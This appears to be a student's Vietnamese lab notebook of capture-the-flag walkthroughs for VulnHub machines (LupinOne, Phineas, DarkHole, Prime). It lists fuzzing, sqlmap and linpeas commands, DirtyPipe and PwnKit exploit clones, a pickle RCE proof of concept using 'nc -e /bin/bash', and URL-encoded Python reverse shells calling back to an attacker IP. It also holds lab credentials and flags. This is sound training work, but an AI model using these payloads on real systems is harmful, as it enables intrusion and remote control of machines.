# Kiểm thử và đánh giá AT hệ thống TT
# Lab 6: [LupinOne](https://www.hackingarticles.in/empire-lupinone-vulnhub-walkthrough/)
- scan để tìm dải ip của máy chủ LupinOne bằng Ubuntu
-> Ip server là 192.168.136.172
+ nmap scan port và các endpoint của server
Hoặc có thể truy cập thẳng vào /robots.txt
+ `/~myfile`
+ `ffuf -w seclist/common.txt -u http://192.168.138.172/~FUZZ -mc 200,301,401`
=> `3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}`
```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
```
```
chmod +x linpeas.sh
./linpeas.sh
```
[CVE-2022-0847-DirtyPipe-Exploits](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits)
```
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
chmod +x compile.sh
./compile.sh
```
```
cat /root/root.txt
```
**3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}**
----------
# Lab 7: [PHINEAS: 1](https://www.vulnhub.com/entry/phineas-1,674/)
```
ffuf -u http://192.168.163.136/structure/FUZZ -w /tmp/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -e .txt,.html,.php -fc 403
```
```http
git clone https://github.com/padsalatushal/CVE-2018-16763
cd CVE-2018-16763
python3 -m pip install -r requirements.txt
chmod +x exploit.py
./exploit.py -u http:///192.168.136.163/structure/index.php
```
Read database from source
-> username: anna
password: H993hfkNNid5kk
Connect using SSH
Read file `app.py`
-> param: awesome
POC: https://gist.github.com/kriss-u/085569495cb930e398759c0cbf45e3b7
```python
#!/usr/bin/env python3
#poc_CVE2018-16763.py
import pickle
import sys
import base64
DEFAULT_COMMAND = "nc -e /bin/bash 192.168.163.131 9999"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print(base64.b64encode(pickle.dumps(PickleRce())).decode('utf-8'))
```
```
python3 poc_CVE2018-16763.py
gASVPwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCRuYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4xNjMuMTM2IDQ0NDSUhZRSlC4=
```
Default Flask run in port 5000
Post `awesome` data to server running on http://127.0.0.1:5000/haven
-> Flag: `YW5uYW1hcmlhbmljb3NhbnRpdml2ZSE`
----
# Lab 8: [DarkHole2](https://www.vulnhub.com/entry/darkhole-2,740/)
```
ffuf -u http://192.168.163.132/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .txt,.html,.php
```
Using [git dumper](https://github.com/arthaud/git-dumper). A tool to dump a git repository from a website
```
pip install git-dumper
```
```
email: lush@admin.com
password: 321
```
After login
PHP Deobfuscator:
https://www.unphp.net/decode/2b860fdd6a2eba03306e40a72bbcef50/
```
sqlmap -u http://192.168.163.132/dashboard.php?id=1 --dbms=MySQL --cookie='PHPSESSID=0j7sc15m8gfijv6tu9j43k32oc' --dump
```
```
curl -Ls https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > bash
```
POC: https://github.com/berdav/CVE-2021-4034
```
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
```
Flag: `DarkHole{'Legend'}`
-----
# Lab 9: [DarkHole1](https://www.vulnhub.com/entry/darkhole-1,724/)
Login Form: Sign up
```
username: test
passwd: test
```
Change password user test
userID admin maybe is 1. We can change by:
Upload file
Not allow upload PHP file
Change to `phtml` success
Access file
Revershell:
```http
python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.163.131",4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn("sh")%27
```
Password john : root123
Root privilege escalation
-> Flag: `DarkHole{You_Can_DO_It}`
----
# Lab 10: [Prime 1](https://www.vulnhub.com/entry/prime-1,358/)
-> victor's password: `follow_the_ippsec`
```
cat /home/saket/user.txt
af3c658dcf9d7190da3153519c003456
```
```
git clone https://github.com/berdav/CVE-2021-4034
```
revershell
```
http://192.168.163.135/wordpress/wp-content/themes/twentynineteen/secret.php?0=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.163.131%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27
```
Sign in with Wallet
Connect another wallet